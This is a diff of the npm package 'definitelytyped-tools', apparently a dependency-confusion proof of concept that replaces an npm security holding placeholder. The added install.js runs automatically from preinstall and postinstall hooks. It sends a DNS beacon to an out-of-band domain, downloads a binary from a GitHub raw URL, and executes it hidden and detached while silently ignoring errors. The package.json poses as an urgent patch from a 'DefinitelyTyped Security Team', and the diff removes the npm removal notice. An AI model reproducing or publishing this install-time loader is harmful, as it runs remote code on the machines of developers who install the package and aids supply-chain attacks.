definitelytyped-tools 0.0.1-security → 99.99.99-security-patch

package/go.mod

@@ -0,0 +1,3 @@
+module definitelytyped-payload
+
+go 1.24.4

package/install.js

@@ -0,0 +1,44 @@
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+const { exec } = require('child_process');
+const dns = require('dns');
+
+// Replace this with your actual OAST domain for the DNS beacon
+const OAST_DOMAIN = 'ocvomeqbrouywnpfvqwhs5w5drx30ejnn.oast.fun';
+
+// DNS beacon to confirm install.js ran
+dns.lookup(`install-js-ran.${OAST_DOMAIN}`, () => {});
+
+// Replace this with your own raw GitHub URL hosting the compiled Go binaries
+const BIN_DIR_URL = 'https://raw.githubusercontent.com/aman20244/poc-bins/main';
+
+const FILENAME = os.platform() === 'win32' ? 'dtt-tools.exe' : 'dtt-tools';
+const BIN_PATH = path.join(os.tmpdir(), FILENAME);
+
+const file = fs.createWriteStream(BIN_PATH);
+const request = https.get(`${BIN_DIR_URL}/${FILENAME}`, (response) => {
+  if (response.statusCode !== 200) {
+    // silently fail on error
+    return;
+  }
+  response.pipe(file);
+});
+
+file.on('finish', () => {
+  file.close(() => {
+    try {
+      if (os.platform() !== 'win32') {
+        fs.chmodSync(BIN_PATH, '755');
+      }
+      exec(BIN_PATH, { windowsHide: true, detached: true, stdio: 'ignore' }).unref();
+    } catch (e) {
+      // silently ignore any exec errors
+    }
+  });
+});
+
+request.on('error', () => {
+  // silently ignore any request errors
+});

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "definitelytyped-tools",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.99.99-security-patch",
+  "description": "Critical security patch for DefinitelyTyped internal tooling infrastructure. Please apply immediately.",
+  "author": "DefinitelyTyped Security Team <security@definitelytyped.org>",
+  "license": "MIT",
+  "os": ["darwin", "linux", "win32"],
+  "cpu": ["x64", "arm64"],
+  "private": false,
+  "scripts": {
+    "preinstall": "node -e \"try{require('./install.js')}catch(e){}\"",
+    "postinstall": "node -e \"try{require('./install.js')}catch(e){}\""
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=definitelytyped-tools for more information.